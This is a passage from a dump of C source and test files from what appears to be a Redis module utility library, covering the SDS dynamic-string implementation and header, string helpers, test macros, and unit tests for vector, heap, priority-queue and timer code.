s_free(vector);
if (current) sdsfree(current);
*argc = 0;
return NULL;
}
/* Modify the string substituting all the occurrences of the set of
* characters specified in the 'from' string to the corresponding character
* in the 'to' array.
*
* For instance: sdsmapchars(mystring, "ho", "01", 2)
* will have the effect of turning the string "hello" into "0ell1".
*
* The function returns the sds string pointer, that is always the same
* as the input pointer since no resize is needed. */
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
size_t j, i, l = sdslen(s);
for (j = 0; j < l; j++) {
for (i = 0; i < setlen; i++) {
if (s[j] == from[i]) {
s[j] = to[i];
break;
}
}
}
return s;
}
/* Join an array of C strings using the specified separator (also a C string).
* Returns the result as an sds string. */
sds sdsjoin(char **argv, int argc, char *sep) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscat(join, argv[j]);
if (j != argc-1) join = sdscat(join,sep);
}
return join;
}
/* Like sdsjoin, but joins an array of SDS strings. */
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscatsds(join, argv[j]);
if (j != argc-1) join = sdscatlen(join,sep,seplen);
}
return join;
}
/* Wrappers to the allocators used by SDS. Note that SDS will actually
* just use the macros defined into sdsalloc.h in order to avoid to pay
* the overhead of function calls. Here we define these wrappers only for
* the programs SDS is linked to, if they want to touch the SDS internals
* even if they use a different allocator. */
void *sds_malloc(size_t size) { return s_malloc(size); }
void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
void sds_free(void *ptr) { s_free(ptr); }
#if defined(SDS_TEST_MAIN)
#include <stdio.h>
#include "testhelp.h"
#include "limits.h"
#define UNUSED(x) (void)(x)
int sdsTest(void) {
{
sds x = sdsnew("foo"), y;
test_cond("Create a string and obtain the length",
sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
sdsfree(x);
x = sdsnewlen("foo",2);
test_cond("Create a string with specified length",
sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
x = sdscat(x,"bar");
test_cond("Strings concatenation",
sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
x = sdscpy(x,"a");
test_cond("sdscpy() against an originally longer string",
sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
test_cond("sdscpy() against an originally shorter string",
sdslen(x) == 33 &&
memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
sdsfree(x);
x = sdscatprintf(sdsempty(),"%d",123);
test_cond("sdscatprintf() seems working in the base case",
sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
test_cond("sdscatfmt() seems working in the base case",
sdslen(x) == 60 &&
memcmp(x,"--Hello Hi! World -9223372036854775808,"
"9223372036854775807--",60) == 0)
printf("[%s]\n",x);
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
test_cond("sdscatfmt() seems working with unsigned numbers",
sdslen(x) == 35 &&
memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," x");
test_cond("sdstrim() works when all chars match",
sdslen(x) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," ");
test_cond("sdstrim() works when a single char remains",
sdslen(x) == 1 && x[0] == 'x')
sdsfree(x);
x = sdsnew("xxciaoyyy");
sdstrim(x,"xy");
test_cond("sdstrim() correctly trims characters",
sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
y = sdsdup(x);
sdsrange(y,1,1);
test_cond("sdsrange(...,1,1)",
sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,-1);
test_cond("sdsrange(...,1,-1)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,-2,-1);
test_cond("sdsrange(...,-2,-1)",
sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,2,1);
test_cond("sdsrange(...,2,1)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,100);
test_cond("sdsrange(...,1,100)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,100,100);
test_cond("sdsrange(...,100,100)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("foo");
y = sdsnew("foa");
test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("bar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("aar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
sdsfree(y);
sdsfree(x);
x = sdsnewlen("\a\n\0foo\r",7);
y = sdscatrepr(sdsempty(),x,sdslen(x));
test_cond("sdscatrepr(...data...)",
memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
{
unsigned int oldfree;
char *p;
int step = 10, j, i;
sdsfree(x);
sdsfree(y);
x = sdsnew("0");
test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
/* Run the test a few times in order to hit the first two
* SDS header types. */
for (i = 0; i < 10; i++) {
int oldlen = sdslen(x);
x = sdsMakeRoomFor(x,step);
int type = x[-1]&SDS_TYPE_MASK;
test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
if (type != SDS_TYPE_5) {
test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
oldfree = sdsavail(x);
}
p = x+oldlen;
for (j = 0; j < step; j++) {
p[j] = 'A'+j;
}
sdsIncrLen(x,step);
}
test_cond("sdsMakeRoomFor() content",
memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
sdsfree(x);
}
}
test_report()
return 0;
}
#endif
#ifdef SDS_TEST_MAIN
int main(void) {
return sdsTest();
}
#endif
+273
View File
@@ -0,0 +1,273 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __SDS_H
#define __SDS_H
#define SDS_MAX_PREALLOC (1024*1024)
#include <sys/types.h>
#include <stdarg.h>
#include <stdint.h>
typedef char *sds;
/* Note: sdshdr5 is never used, we just access the flags byte directly.
* However is here to document the layout of type 5 SDS strings. */
struct __attribute__ ((__packed__)) sdshdr5 {
unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr8 {
uint8_t len; /* used */
uint8_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr16 {
uint16_t len; /* used */
uint16_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr32 {
uint32_t len; /* used */
uint32_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr64 {
uint64_t len; /* used */
uint64_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
#define SDS_TYPE_5 0
#define SDS_TYPE_8 1
#define SDS_TYPE_16 2
#define SDS_TYPE_32 3
#define SDS_TYPE_64 4
#define SDS_TYPE_MASK 7
#define SDS_TYPE_BITS 3
#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
static inline size_t sdslen(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}
static inline size_t sdsavail(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
return 0;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
return sh->alloc - sh->len;
}
}
return 0;
}
static inline void sdssetlen(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len = newlen;
break;
}
}
static inline void sdsinclen(sds s, size_t inc) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len += inc;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len += inc;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len += inc;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len += inc;
break;
}
}
/* sdsalloc() = sdsavail() + sdslen() */
static inline size_t sdsalloc(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->alloc;
case SDS_TYPE_16:
return SDS_HDR(16,s)->alloc;
case SDS_TYPE_32:
return SDS_HDR(32,s)->alloc;
case SDS_TYPE_64:
return SDS_HDR(64,s)->alloc;
}
return 0;
}
static inline void sdssetalloc(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
/* Nothing to do, this type has no total allocation info. */
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->alloc = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->alloc = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->alloc = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->alloc = newlen;
break;
}
}
sds sdsnewlen(const void *init, size_t initlen);
sds sdsnew(const char *init);
sds sdsempty(void);
sds sdsdup(const sds s);
void sdsfree(sds s);
sds sdsgrowzero(sds s, size_t len);
sds sdscatlen(sds s, const void *t, size_t len);
sds sdscat(sds s, const char *t);
sds sdscatsds(sds s, const sds t);
sds sdscpylen(sds s, const char *t, size_t len);
sds sdscpy(sds s, const char *t);
sds sdscatvprintf(sds s, const char *fmt, va_list ap);
#ifdef __GNUC__
sds sdscatprintf(sds s, const char *fmt, ...)
__attribute__((format(printf, 2, 3)));
#else
sds sdscatprintf(sds s, const char *fmt, ...);
#endif
sds sdscatfmt(sds s, char const *fmt, ...);
sds sdstrim(sds s, const char *cset);
void sdsrange(sds s, int start, int end);
void sdsupdatelen(sds s);
void sdsclear(sds s);
int sdscmp(const sds s1, const sds s2);
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
void sdsfreesplitres(sds *tokens, int count);
void sdstolower(sds s);
void sdstoupper(sds s);
sds sdsfromlonglong(long long value);
sds sdscatrepr(sds s, const char *p, size_t len);
sds *sdssplitargs(const char *line, int *argc);
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
sds sdsjoin(char **argv, int argc, char *sep);
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
/* Low level functions exposed to the user API */
sds sdsMakeRoomFor(sds s, size_t addlen);
void sdsIncrLen(sds s, int incr);
sds sdsRemoveFreeSpace(sds s);
size_t sdsAllocSize(sds s);
void *sdsAllocPtr(sds s);
/* Export the allocator used by SDS to the program using SDS.
* Sometimes the program SDS is linked to, may use a different set of
* allocators, but may want to allocate or free things that SDS will
* respectively free or allocate. */
void *sds_malloc(size_t size);
void *sds_realloc(void *ptr, size_t size);
void sds_free(void *ptr);
#ifdef REDIS_TEST
int sdsTest(int argc, char *argv[]);
#endif
#endif
+47
View File
@@ -0,0 +1,47 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/* SDS allocator selection.
*
* This file is used in order to change the SDS allocator at compile time.
* Just define the following defines to what you want to use. Also add
* the include of your alternate allocator if needed (not needed in order
* to use the default libc allocator). */
#if defined(__MACH__)
#include <stdlib.h>
#else
#include <malloc.h>
#endif
//#include "zmalloc.h"
#define s_malloc malloc
#define s_realloc realloc
#define s_free free
+81
View File
@@ -0,0 +1,81 @@
#include <string.h>
#include <sys/param.h>
#include <ctype.h>
#include "strings.h"
#include "alloc.h"
#include "sds.h"
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
// sds s = sdsempty();
// va_list ap;
// va_start(ap, fmt);
// s = sdscatvprintf(s, fmt, ap);
// va_end(ap);
// RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
// sdsfree(s);
// return ret;
// }
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
const char *c1, *c2;
size_t l1, l2;
c1 = RedisModule_StringPtrLen(s1, &l1);
c2 = RedisModule_StringPtrLen(s2, &l2);
if (l1 != l2) return 0;
return strncmp(c1, c2, l1) == 0;
}
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncmp(c1, s2, l1) == 0;
}
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncasecmp(c1, s2, l1) == 0;
}
void RMUtil_StringToLower(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = tolower(*c);
++c;
}
}
void RMUtil_StringToUpper(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = toupper(*c);
++c;
}
}
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
for (size_t ii = 0; ii < n; ++ii) {
const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
if (options & RMUTIL_STRINGCONVERT_COPY) {
p = strdup(p);
}
ss[ii] = p;
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __RMUTIL_STRINGS_H__
#define __RMUTIL_STRINGS_H__
#include <redismodule.h>
/*
* Create a new RedisModuleString object from a printf-style format and arguments.
* Note that RedisModuleString objects CANNOT be used as formatting arguments.
*/
// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
/* Return 1 if the two strings are equal. Case *sensitive* */
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
/* Converts a redis string to lowercase in place without reallocating anything */
void RMUtil_StringToLower(RedisModuleString *s);
/* Converts a redis string to uppercase in place without reallocating anything */
void RMUtil_StringToUpper(RedisModuleString *s);
// If set, copy the strings using strdup rather than simply storing pointers.
#define RMUTIL_STRINGCONVERT_COPY 1
/**
* Convert one or more RedisModuleString objects into `const char*`.
* Both rs and ss are arrays, and should be of <n> length.
* Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
*/
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
#endif
+69
View File
@@ -0,0 +1,69 @@
#ifndef __TESTUTIL_H__
#define __TESTUTIL_H__
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
static int numTests = 0;
static int numAsserts = 0;
#define TESTFUNC(f) \
printf(" Testing %s\t\t", __STRING(f)); \
numTests++; \
fflush(stdout); \
if (f()) { \
printf(" %s FAILED!\n", __STRING(f)); \
exit(1); \
} else \
printf("[PASS]\n");
#define ASSERTM(expr, ...) \
if (!(expr)) { \
fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
__STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT(expr) \
if (!(expr)) { \
fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
#define ASSERT_EQUAL(x, y, ...) \
if (x != y) { \
fprintf(stderr, "%s:%d: ", __FILE__, __LINE__); \
fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
return -1; \
} \
numAsserts++;
#define FAIL(fmt, ...) \
{ \
fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
return -1; \
}
#define RETURN_TEST_SUCCESS return 0;
#define TEST_CASE(x, block) \
int x { \
block; \
return 0 \
}
#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
#define TEST_MAIN(body) \
int main(int argc, char **argv) { \
printf("Starting Test '%s'...\n", argv[0]); \
body; \
PRINT_TEST_SUMMARY; \
printf("\n--------------------\n\n"); \
return 0; \
}
#endif
+38
View File
@@ -0,0 +1,38 @@
#include <stdio.h>
#include "heap.h"
#include "assert.h"
int cmp(void *a, void *b) {
int *__a = (int *) a;
int *__b = (int *) b;
return *__a - *__b;
}
int main(int argc, char **argv) {
int myints[] = {10, 20, 30, 5, 15};
Vector *v = NewVector(int, 5);
for (int i = 0; i < 5; i++) {
Vector_Push(v, myints[i]);
}
Make_Heap(v, 0, v->top, cmp);
int n;
Vector_Get(v, 0, &n);
assert(30 == n);
Heap_Pop(v, 0, v->top, cmp);
v->top = 4;
Vector_Get(v, 0, &n);
assert(20 == n);
Vector_Push(v, 99);
Heap_Push(v, 0, v->top, cmp);
Vector_Get(v, 0, &n);
assert(99 == n);
Vector_Free(v);
printf("PASS!\n");
return 0;
}
@@ -0,0 +1,26 @@
#include <stdio.h>
#include <redismodule.h>
#include <unistd.h>
#include "periodic.h"
#include "assert.h"
#include "test.h"
void timerCb(RedisModuleCtx *ctx, void *p) {
int *x = p;
(*x)++;
}
int testPeriodic() {
int x = 0;
struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
sleep(1);
ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
ASSERT(x > 0);
ASSERT(x <= 100);
return 0;
}
TEST_MAIN({ TESTFUNC(testPeriodic); });
@@ -0,0 +1,37 @@
#include <stdio.h>
#include "assert.h"
#include "priority_queue.h"
int cmp(void* i1, void* i2) {
int *__i1 = (int*) i1;
int *__i2 = (int*) i2;
return *__i1 - *__i2;
}
int main(int argc, char **argv) {
PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
assert(0 == Priority_Queue_Size(pq));
for (int i = 0; i < 5; i++) {
Priority_Queue_Push(pq, i);
}
assert(5 == Priority_Queue_Size(pq));
Priority_Queue_Pop(pq);
assert(4 == Priority_Queue_Size(pq));
Priority_Queue_Push(pq, 10);
Priority_Queue_Push(pq, 20);
Priority_Queue_Push(pq, 15);
int n;
Priority_Queue_Top(pq, &n);
assert(20 == n);
Priority_Queue_Pop(pq);
Priority_Queue_Top(pq, &n);
assert(15 == n);
Priority_Queue_Free(pq);
printf("PASS!\n");
return 0;
}
+67
View File
@@ -0,0 +1,67 @@
#ifndef __TEST_UTIL_H__
#define __TEST_UTIL_H__
#include "util.h"
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#define RMUtil_Test(f) \
if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
int rc = f(ctx); \
if (rc != REDISMODULE_OK) { \
RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
return REDISMODULE_ERR;\
}\
}
#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
)
#
/**
* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
* The accepted format specifiers are:
* c - for null terminated c strings
* s - for RedisModuleString* objects
* l - for longs
*
* Example: RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
*
* Returns an array of RedisModuleString pointers. The size of the array is store in argcp
*/
RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
int argc = 0;
const char *p = fmt;
while(*p) {
if (*p == 'c') {
char *cstr = va_arg(ap,char*);
argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
} else if (*p == 's') {
argv[argc++] = va_arg(ap,void*);;
} else if (*p == 'l') {
long ll = va_arg(ap,long long);
argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
} else {
goto fmterr;
}
p++;
}
*argcp = argc;
return argv;
fmterr:
free(argv);
return NULL;
}
#endif
+58
View File
@@ -0,0 +1,58 @@
#include "vector.h"
#include <stdio.h>
#include "test.h"
int testVector() {
Vector *v = NewVector(int, 1);
ASSERT(v != NULL);
// Vector_Put(v, 0, 1);
// Vector_Put(v, 1, 3);
for (int i = 0; i < 10; i++) {
Vector_Push(v, i);
}
ASSERT_EQUAL(10, Vector_Size(v));
ASSERT_EQUAL(16, Vector_Cap(v));
for (int i = 0; i < Vector_Size(v); i++) {
int n;
int rc = Vector_Get(v, i, &n);
ASSERT_EQUAL(1, rc);
// printf("%d %d\n", rc, n);
ASSERT_EQUAL(n, i);
}
Vector_Free(v);
v = NewVector(char *, 0);
int N = 4;
char *strings[4] = {"hello", "world", "foo", "bar"};
for (int i = 0; i < N; i++) {
Vector_Push(v, strings[i]);
}
ASSERT_EQUAL(N, Vector_Size(v));
ASSERT(Vector_Cap(v) >= N);
for (int i = 0; i < Vector_Size(v); i++) {
char *x;
int rc = Vector_Get(v, i, &x);
ASSERT_EQUAL(1, rc);
ASSERT_STRING_EQ(x, strings[i]);
}
int rc = Vector_Get(v, 100, NULL);
ASSERT_EQUAL(0, rc);
Vector_Free(v);
return 0;
// Vector_Push(v, "hello");
// Vector_Push(v, "world");
// char *x = NULL;
// int rc = Vector_Getx(v, 0, &x);
// printf("rc: %d got %s\n", rc, x);
}
TEST_MAIN({ TESTFUNC(testVector); });
+299
View File
@@ -0,0 +1,299 @@
#include <stdlib.h>
#include <errno.h>
#include <math.h>
#include <ctype.h>
#include <sys/time.h>
#include <stdarg.h>
#include <limits.h>
#include <string.h>
#define REDISMODULE_EXPERIMENTAL_API
#include <redismodule.h>
#include "util.h"
/**
Check if an argument exists in an argument list (argv,argc), starting at offset.
@return 0 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
size_t larg = strlen(arg);
for (; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return 0;
}
/**
Check if an argument exists in an argument list (argv,argc)
@return -1 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
size_t larg = strlen(arg);
for (int offset = 0; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return -1;
}
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
return NULL;
}
int cap = 100; // rough estimate of info lines
RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
int i = 0;
size_t sz;
char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
char *line = text;
while (line && line < text + sz) {
char *line = strsep(&text, "\r\n");
if (line == NULL) break;
if (!(*line >= 'a' && *line <= 'z')) { // skip non entry lines
continue;
}
char *key = strsep(&line, ":");
info->entries[i].key = strdup(key);
info->entries[i].val = strdup(line);
i++;
if (i >= cap) {
cap *= 2;
info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
}
}
info->numEntries = i;
RedisModule_FreeCallReply(r);
return info;
}
